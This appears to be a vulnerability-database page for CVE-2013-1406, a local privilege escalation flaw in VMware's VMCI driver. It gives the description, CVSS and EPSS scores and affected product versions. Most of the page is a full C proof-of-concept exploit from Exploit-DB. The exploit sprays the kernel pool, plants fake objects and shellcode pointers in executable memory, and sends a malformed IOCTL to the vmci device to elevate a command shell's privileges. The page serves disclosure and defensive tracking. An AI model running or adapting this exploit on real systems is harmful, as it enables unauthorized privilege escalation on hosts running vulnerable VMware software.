CVE-2013-1406 : Detail

CVE-2013-1406

A03-Injection
0.06%V3
Local
2013-02-11
21h00 +00:00
2017-09-18
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The Virtual Machine Communication Interface (VMCI) implementation in vmci.sys in VMware Workstation 8.x before 8.0.5 and 9.x before 9.0.1 on Windows, VMware Fusion 4.1 before 4.1.4 and 5.0 before 5.0.2, VMware View 4.x before 4.6.2 and 5.x before 5.1.2 on Windows, VMware ESXi 4.0 through 5.1, and VMware ESX 4.0 and 4.1 does not properly restrict memory allocation by control code, which allows local users to gain privileges via unspecified vectors.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 40164

Publication date : 2013-03-05 23h00 +00:00
Author : Artem Shishkin
EDB Verified : No

/* CVE-2013-1406 exploitation PoC by Artem Shishkin, Positive Research, Positive Technologies, 02-2013 */ void __stdcall FireShell(DWORD dwSomeParam) { EscalatePrivileges(hProcessToElevate); // Equate the stack and quit the cycle #ifndef _AMD64_ __asm { pop ebx pop edi push 0xFFFFFFF8 push 0xA010043 } #endif } HANDLE LookupObjectHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, PVOID pObjectAddr, DWORD dwProcessID = 0) { HANDLE hResult = 0; DWORD dwLookupProcessID = dwProcessID; if (pHandleTable == NULL) { printf("Ain't funny\n"); return 0; } if (dwLookupProcessID == 0) { dwLookupProcessID = GetCurrentProcessId(); } for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++) { if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].Object == pObjectAddr)) { hResult = pHandleTable->Handles[i].HandleValue; break; } } return hResult; } PVOID LookupObjectAddress(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0) { PVOID pResult = 0; DWORD dwLookupProcessID = dwProcessID; if (pHandleTable == NULL) { printf("Ain't funny\n"); return 0; } if (dwLookupProcessID == 0) { dwLookupProcessID = GetCurrentProcessId(); } for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++) { if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject)) { pResult = (HANDLE)pHandleTable->Handles[i].Object; break; } } return pResult; } void CloseTableHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0) { DWORD dwLookupProcessID = dwProcessID; if (pHandleTable == NULL) { printf("Ain't funny\n"); return; } if (dwLookupProcessID == 0) { dwLookupProcessID = GetCurrentProcessId(); } for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++) { if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject)) { pHandleTable->Handles[i].Object = NULL; pHandleTable->Handles[i].HandleValue = NULL; break; } } return; } void PoolSpray() { // Init used native API function lpNtQuerySystemInformation NtQuerySystemInformation = (lpNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation"); if (NtQuerySystemInformation == NULL) { printf("Such a fail...\n"); return; } // Determine object size // xp: //const DWORD_PTR dwSemaphoreSize = 0x38; // 7: //const DWORD_PTR dwSemaphoreSize = 0x48; DWORD_PTR dwSemaphoreSize = 0; if (LOBYTE(GetVersion()) == 5) { dwSemaphoreSize = 0x38; } else if (LOBYTE(GetVersion()) == 6) { dwSemaphoreSize = 0x48; } unsigned int cycleCount = 0; while (cycleCount < 50000) { HANDLE hTemp = CreateSemaphore(NULL, 0, 3, NULL); if (hTemp == NULL) { break; } ++cycleCount; } printf("\t[+] Spawned lots of semaphores\n"); printf("\t[.] Initing pool windows\n"); Sleep(2000); DWORD dwNeeded = 4096; NTSTATUS status = 0xFFFFFFFF; PVOID pBuf = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE); while (true) { status = NtQuerySystemInformation(SystemExtendedHandleInformation, pBuf, dwNeeded, NULL); if (status != STATUS_SUCCESS) { dwNeeded *= 2; VirtualFree(pBuf, 0, MEM_RELEASE); pBuf = VirtualAlloc(NULL, dwNeeded, MEM_COMMIT, PAGE_READWRITE); } else { break; } }; HANDLE hHandlesToClose[0x30] = {0}; DWORD dwCurPID = GetCurrentProcessId(); PSYSTEM_HANDLE_INFORMATION_EX pHandleTable = (PSYSTEM_HANDLE_INFORMATION_EX)pBuf; for (ULONG i = 0; i < pHandleTable->NumberOfHandles; i++) { if (pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwCurPID) { DWORD_PTR dwTestObjAddr = (DWORD_PTR)pHandleTable->Handles[i].Object; DWORD_PTR dwTestHandleVal = (DWORD_PTR)pHandleTable->Handles[i].HandleValue; DWORD_PTR dwWindowAddress = 0; bool bPoolWindowFound = false; UINT iObjectsNeeded = 0; // Needed window size is vmci packet pool chunk size (0x218) divided by // Semaphore pool chunk size (dwSemaphoreSize) iObjectsNeeded = (0x218 / dwSemaphoreSize) + ((0x218 % dwSemaphoreSize != 0) ? 1 : 0); if ( // Not on a page boundary ((dwTestObjAddr & 0xFFF) != 0) && // Doesn't cross page boundary (((dwTestObjAddr + 0x300) & 0xF000) == (dwTestObjAddr & 0xF000)) ) { // Check previous object for being our semaphore DWORD_PTR dwPrevObject = dwTestObjAddr - dwSemaphoreSize; if (LookupObjectHandle(pHandleTable, (PVOID)dwPrevObject) == NULL) { continue; } for (unsigned int j = 1; j < iObjectsNeeded; j++) { DWORD_PTR dwNextTestAddr = dwTestObjAddr + (j * dwSemaphoreSize); HANDLE hLookedUp = LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr); //printf("dwTestObjPtr = %08X, dwTestObjHandle = %08X\n", dwTestObjAddr, dwTestHandleVal); //printf("\tdwTestNeighbour = %08X\n", dwNextTestAddr); //printf("\tLooked up handle = %08X\n", hLookedUp); if (hLookedUp != NULL) { hHandlesToClose[j] = hLookedUp; if (j == iObjectsNeeded - 1) { // Now test the following object dwNextTestAddr = dwTestObjAddr + ((j + 1) * dwSemaphoreSize); if (LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr) != NULL) { hHandlesToClose[0] = (HANDLE)dwTestHandleVal; bPoolWindowFound = true; dwWindowAddress = dwTestObjAddr; // Close handles to create a memory window for (int k = 0; k < iObjectsNeeded; k++) { if (hHandlesToClose[k] != NULL) { CloseHandle(hHandlesToClose[k]); CloseTableHandle(pHandleTable, hHandlesToClose[k]); } } } else { memset(hHandlesToClose, 0, sizeof(hHandlesToClose)); break; } } } else { memset(hHandlesToClose, 0, sizeof(hHandlesToClose)); break; } } if (bPoolWindowFound) { printf("\t[+] Window found at %08X!\n", dwWindowAddress); } } } } VirtualFree(pBuf, 0, MEM_RELEASE); return; } void InitFakeBuf(PVOID pBuf, DWORD dwSize) { if (pBuf != NULL) { RtlFillMemory(pBuf, dwSize, 0x11); } return; } void PlaceFakeObjects(PVOID pBuf, DWORD dwSize, DWORD dwStep) { /* Previous chunk size will be always 0x43 and the pool index will be 0, so the last bytes will be 0x0043 So, for every 0xXXXX0043 address we must suffice the following conditions: lea edx, [eax+38h] lock xadd [edx], ecx cmp ecx, 1 Some sort of lock at [addr + 38] must be equal to 1. And call dword ptr [eax+0ACh] The call site is located at [addr + 0xAC] Also fake the object to be dereferenced at [addr + 0x100] */ if (pBuf != NULL) { for (PUCHAR iAddr = (PUCHAR)pBuf + 0x43; iAddr < (PUCHAR)pBuf + dwSize; iAddr = iAddr + dwStep) { PDWORD pLock = (PDWORD)(iAddr + 0x38); PDWORD_PTR pCallMeMayBe = (PDWORD_PTR)(iAddr + 0xAC); PDWORD_PTR pFakeDerefObj = (PDWORD_PTR)(iAddr + 0x100); *pLock = 1; *pCallMeMayBe = (DWORD_PTR)FireShell; *pFakeDerefObj = (DWORD_PTR)pBuf + 0x1000; } } return; } void PenetrateVMCI() { /* VMware Security Advisory Advisory ID: VMSA-2013-0002 Synopsis: VMware ESX, Workstation, Fusion, and View VMCI privilege escalation vulnerability Issue date: 2013-02-07 Updated on: 2013-02-07 (initial advisory) CVE numbers: CVE-2013-1406 */ DWORD dwPidToElevate = 0; HANDLE hSuspThread = NULL; bool bXP = (LOBYTE(GetVersion()) == 5); bool b7 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 1)); bool b8 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 2)); if (!InitKernelFuncs()) { printf("[-] Like I don't know where the shellcode functions are\n"); return; } if (bXP) { printf("[?] Who do we want to elevate?\n"); scanf_s("%d", &dwPidToElevate); hProcessToElevate = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPidToElevate); if (hProcessToElevate == NULL) { printf("[-] This process doesn't want to be elevated\n"); return; } } if (b7 || b8) { // We are unable to change an active process token on-the-fly, // so we create a custom shell suspended (Ionescu hack) STARTUPINFO si = {0}; PROCESS_INFORMATION pi = {0}; si.wShowWindow = TRUE; WCHAR cmdPath[MAX_PATH] = {0}; GetSystemDirectory(cmdPath, MAX_PATH); wcscat_s(cmdPath, MAX_PATH, L"\\cmd.exe"); if (CreateProcess(cmdPath, L"", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == TRUE) { hProcessToElevate = pi.hProcess; hSuspThread = pi.hThread; } } HANDLE hVMCIDevice = CreateFile(L"\\\\.\\vmci", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL); if (hVMCIDevice != INVALID_HANDLE_VALUE) { UCHAR BadBuff[0x624] = {0}; UCHAR retBuf[0x624] = {0}; DWORD dwRet = 0; printf("[+] VMCI service found running\n"); PVM_REQUEST pVmReq = (PVM_REQUEST)BadBuff; pVmReq->Header.RequestSize = 0xFFFFFFF0; PVOID pShellSprayBufStd = NULL; PVOID pShellSprayBufQtd = NULL; PVOID pShellSprayBufStd7 = NULL; PVOID pShellSprayBufQtd7 = NULL; PVOID pShellSprayBufChk8 = NULL; if ((b7) || (bXP) || (b8)) { /* Significant bits of a PoolType of a chunk define the following regions: 0x0A000000 - 0x0BFFFFFF - Standard chunk 0x1A000000 - 0x1BFFFFFF - Quoted chunk 0x0 - 0xFFFFFFFF - Free chunk - no idea Addon for Windows 7: Since PoolType flags have changed, and "In use flag" is now 0x2, define an additional region for Win7: 0x04000000 - 0x06000000 - Standard chunk 0x14000000 - 0x16000000 - Quoted chunk */ pShellSprayBufStd = VirtualAlloc((LPVOID)0xA000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); pShellSprayBufQtd = VirtualAlloc((LPVOID)0x1A000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); pShellSprayBufStd7 = VirtualAlloc((LPVOID)0x4000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); pShellSprayBufQtd7 = VirtualAlloc((LPVOID)0x14000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if ((pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL)) { printf("\t[-] Unable to map the needed memory regions, please try running the app again\n"); CloseHandle(hVMCIDevice); return; } InitFakeBuf(pShellSprayBufStd, 0x2000000); InitFakeBuf(pShellSprayBufQtd, 0x2000000); InitFakeBuf(pShellSprayBufStd7, 0x2000000); InitFakeBuf(pShellSprayBufQtd7, 0x2000000); PlaceFakeObjects(pShellSprayBufStd, 0x2000000, 0x10000); PlaceFakeObjects(pShellSprayBufQtd, 0x2000000, 0x10000); PlaceFakeObjects(pShellSprayBufStd7, 0x2000000, 0x10000); PlaceFakeObjects(pShellSprayBufQtd7, 0x2000000, 0x10000); if (SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL) == FALSE) { SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST); } PoolSpray(); if (DeviceIoControl(hVMCIDevice, 0x8103208C, BadBuff, sizeof(BadBuff), retBuf, sizeof(retBuf), &dwRet, NULL) == TRUE) { printf("\t[!] If you don't see any BSOD, you're successful\n"); if (b7 || b8) { ResumeThread(hSuspThread); } } else { printf("[-] Not this time %d\n", GetLastError()); } if (pShellSprayBufStd != NULL) { VirtualFree(pShellSprayBufStd, 0, MEM_RELEASE); } if (pShellSprayBufQtd != NULL) { VirtualFree(pShellSprayBufQtd, 0, MEM_RELEASE); } } SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL); CloseHandle(hVMCIDevice); } else { printf("[-] Like I don't see vmware here\n"); } CloseHandle(hProcessToElevate); return; }

Products Mentioned

Configuraton 0

Vmware>>Workstation >> Version 8.0

Vmware>>Workstation >> Version 8.0.0.18997

Vmware>>Workstation >> Version 8.0.1

Vmware>>Workstation >> Version 8.0.1.27038

Vmware>>Workstation >> Version 8.0.2

Vmware>>Workstation >> Version 8.0.3

Vmware>>Workstation >> Version 8.0.4

Vmware>>Workstation >> Version 9.0

Microsoft>>Windows >> Version *

Configuraton 0

Vmware>>Fusion >> Version 4.1

Vmware>>Fusion >> Version 4.1.1

Vmware>>Fusion >> Version 4.1.2

Vmware>>Fusion >> Version 4.1.3

Vmware>>Fusion >> Version 5.0

Vmware>>Fusion >> Version 5.0.1

Configuraton 0

Vmware>>View >> Version 4.0.0

Vmware>>View >> Version 4.0.0

Vmware>>View >> Version 4.5

Vmware>>View >> Version 4.6.0

Vmware>>View >> Version 4.6.1

Vmware>>View >> Version 5.0

Vmware>>View >> Version 5.0.0

Vmware>>View >> Version 5.0.0

Vmware>>View >> Version 5.0.1

Vmware>>View >> Version 5.1.0

Vmware>>View >> Version 5.1.1

Microsoft>>Windows >> Version *

Configuraton 0

Vmware>>Esxi >> Version 4.0

Vmware>>Esxi >> Version 4.0

Vmware>>Esxi >> Version 4.0

Vmware>>Esxi >> Version 4.0

Vmware>>Esxi >> Version 4.0

Vmware>>Esxi >> Version 4.1

Vmware>>Esxi >> Version 4.1

Vmware>>Esxi >> Version 4.1

Vmware>>Esxi >> Version 5.0

Vmware>>Esxi >> Version 5.0

Vmware>>Esxi >> Version 5.0

Vmware>>Esxi >> Version 5.1

Configuraton 0

Vmware>>Esx >> Version 4.0

Vmware>>Esx >> Version 4.1

References